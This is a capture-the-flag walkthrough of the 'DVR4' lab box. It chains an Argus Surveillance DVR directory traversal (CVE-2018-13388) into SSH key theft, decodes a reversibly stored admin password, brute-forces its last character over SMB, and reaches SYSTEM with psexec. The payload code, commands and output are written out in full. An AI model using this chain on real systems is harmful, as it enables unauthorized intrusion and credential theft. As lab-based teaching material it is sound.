DVR4
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Port 8080 serves Argus Surveillance DVR 4.0.0.0, vulnerable to a directory traversal (CVE-2018-13388) that reads arbitrary files (Argus DVR traversal). With it we pullviewer's SSH private key and log in over SSH. To escalate, Argus'sDVRParams.inistores the administrator password with a reversible cipher (reversible password storage): we decode it character by character and, since the last one wasn't in the exploit's table, we run a small last-char brute force against SMB. With the full password,psexec.pygives us SYSTEM.
Recon
Initial scan
TTL 125 → Windows: Windows starts the TTL at 128 and each routing hop decrements it, so 125 = 128−3; a hint, not proof (it can be spoofed), confirmed by the service scan. SMB, a Bitvise SSH and a web server on 8080 that identifies as Argus Surveillance DVR.
ping -c 1 192.168.178.179
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.178.179PORT STATE SERVICE
22/tcp open ssh
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8080/tcp open http-proxynmap -p22,135,139,445,5040,8080 -sCV 192.168.178.179 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh Bitvise WinSSHD 8.48 (FlowSsh 8.48; protocol 2.0)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
8080/tcp open http-proxy
|_http-title: Argus Surveillance DVR
|_http-generator: Actual Drawing 6.0 (http://www.pysoft.com) [PYSOFTWARE]HTTP - TCP 8080: Argus Surveillance DVR
Port 8080 serves the panel of an Argus Surveillance DVR:

Help → About confirms the exact version, 4.0 (a 2008 release):

Its own interface (Users) leaks the local users (viewer among them), handy for knowing who to target next:

searchsploit confirms this version's flagship vulnerability:
searchsploit argusArgus Surveillance DVR 4.0.0.0 - Directory Traversal | windows_x86/webapps/45296.txt (CVE-2018-13388)Exploitation
CVE-2018-13388: directory traversal to viewer's SSH key
WEBACCOUNT.CGI does not sanitize the RESULTPAGE parameter: with a string of ..%2F we read any file on disk (Argus DVR traversal). Knowing viewer exists and there is SSH, we target its private key:
payload = "WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=" + "..%2F"*16
r = requests.get(url + "/" + payload + urllib.parse.quote(file))python3 path_traversal.py http://192.168.178.179:8080 "/Users/viewer/.ssh/id_rsa"
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAuuXhjQJhDjXBJkiIftPZng7N999zteWzSgthQ5fs9kOhFzLQlJ5J
Ybut0BIbPaUdOhNlQcuhAUZjaaMxnWLbDJgTETK8h162J81p9q6vR2zKpHu9Dhi1ksVyAP
...
-----END OPENSSH PRIVATE KEY-----The response is viewer's private key. We save it and log in over SSH:
chmod 600 id_rsa
ssh -i id_rsa viewer@192.168.178.179
Local
type C:\Users\viewer\Desktop\local.txt & whoami & ipconfig & hostname
441766a5c1ebc1299bc441622f2be6ce
dvr4\viewerPrivilege escalation
DVRParams.ini: a reversibly-encrypted password
Argus stores its configuration (including the administrator password) in DVRParams.ini, with a homegrown reversible cipher (reversible password storage):
type "C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini"
The [Users] section confirms that Password0 belongs to LoginName0=Administrator:

[Users]
LoginName0=Administrator
Password0=ECB453D16069F641E03BD9BD956BFE36BD8F3CD9D9A8Character-by-character decode + last-char brute force
The "cipher" is just a table mapping each 4-hex-digit block to a character; it is directly reversible. The 50130.py exploit decodes almost the whole password, but the last block (D9A8) is not in its table:

ECB4->1 53D1->4 6069->W F641->a E03B->t D9BD->c 956B->h FE36->D BD8F->0 3CD9->g D9A8->?The base is 14WatchD0g and only the last character is missing. Rather than extend the table, we run a tiny brute force: we try 14WatchD0g + every possible character as an SMB login for Administrator until one authenticates:
username = "Administrator"
for character in string.ascii_letters + "-_,!#·$%&()=?¿'¡^*:;.+":
if smb_login(username, "14WatchD0g" + character):
print("Found: 14WatchD0g" + character)
[+] Trying passwords: Found: 14WatchD0g$The full administrator password is 14WatchD0g$.
SYSTEM with psexec
With local administrator credentials, psexec.py gives us a shell as SYSTEM:
psexec.py Administrator@192.168.178.179 # 14WatchD0g$
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Requesting shares on 192.168.178.179.....
[*] Found writable share ADMIN$
[*] Uploading file sumSWgAi.exe
[*] Opening SVCManager on 192.168.178.179.....
[*] Creating service BXTM on 192.168.178.179.....
[*] Starting service BXTM.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19044.1645]
(c) Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32> cd C:\Users\Administrator\DesktopProof
type C:\Users\Administrator\Desktop\proof.txt & whoami & ipconfig & hostname
a2799c965f578baa4a678c6af5b0e2e8
nt authority\systemAutomating the whole chain
All four steps (traversal to steal the id_rsa, SSH, reading and decrypting the DVRParams.ini, and psexec.py as administrator) fit in a script. It is worth seeing in full because it makes clear there is no interactive step here: everything is deterministic.
python3 dvr4_autoexpy.py <victim-ip>
[+] SSH private key (id_rsa) retrieved via Argus Surveillance path traversal
[+] SSH access gained
[+] Encrypted Administrator password found in C:\ProgramData\PY_software\Argus Surveillance DVR\DVRParams.ini
[+] Administrator password successfully decrypted -> 14WatchD0g$
[+] Attempting Administrator access via SMB (psexec.py)
proof.txt -> 2ce8e0fc812d07f2c16e9d4db0871ea5
local.txt -> 65952e2fbf0ae63da006fbd2e9367cceThe flag hashes do not match the manual run's because the box had been redeployed in between: on Proving Grounds the flags are regenerated on every deployment.
Attack chain
HTTP 8080 -- Argus Surveillance DVR 4.0.0.0 (users: viewer)
│ CVE-2018-13388: WEBACCOUNT.CGI traversal -> reads /Users/viewer/.ssh/id_rsa
▼
ssh viewer (local.txt)
│ DVRParams.ini -> Password0 reversibly encrypted
│ 50130.py decodes 14WatchD0g + SMB brute force of last char -> 14WatchD0g$
▼
psexec.py Administrator -> nt authority\system (proof.txt)Lessons learned
- Directory traversal reads anything, not just web pages. Argus's
WEBACCOUNT.CGIlet us pull a user's SSH key; validating and normalizing paths server-side closes the vector. - Reversible encryption == plaintext with extra steps.
DVRParams.inistored the administrator password with a reversible table; whoever reads the file recovers the password. Passwords must be stored with slow, salted hashes, not "encrypted". - An incomplete table doesn't stop a decode. One block was missing from the exploit, but with the known base a single-character brute force against SMB completed the password in seconds.
- Don't reuse keys across exposed services. The same host leaked the SSH key over HTTP and the admin password via the config file; each exposure chained into the next.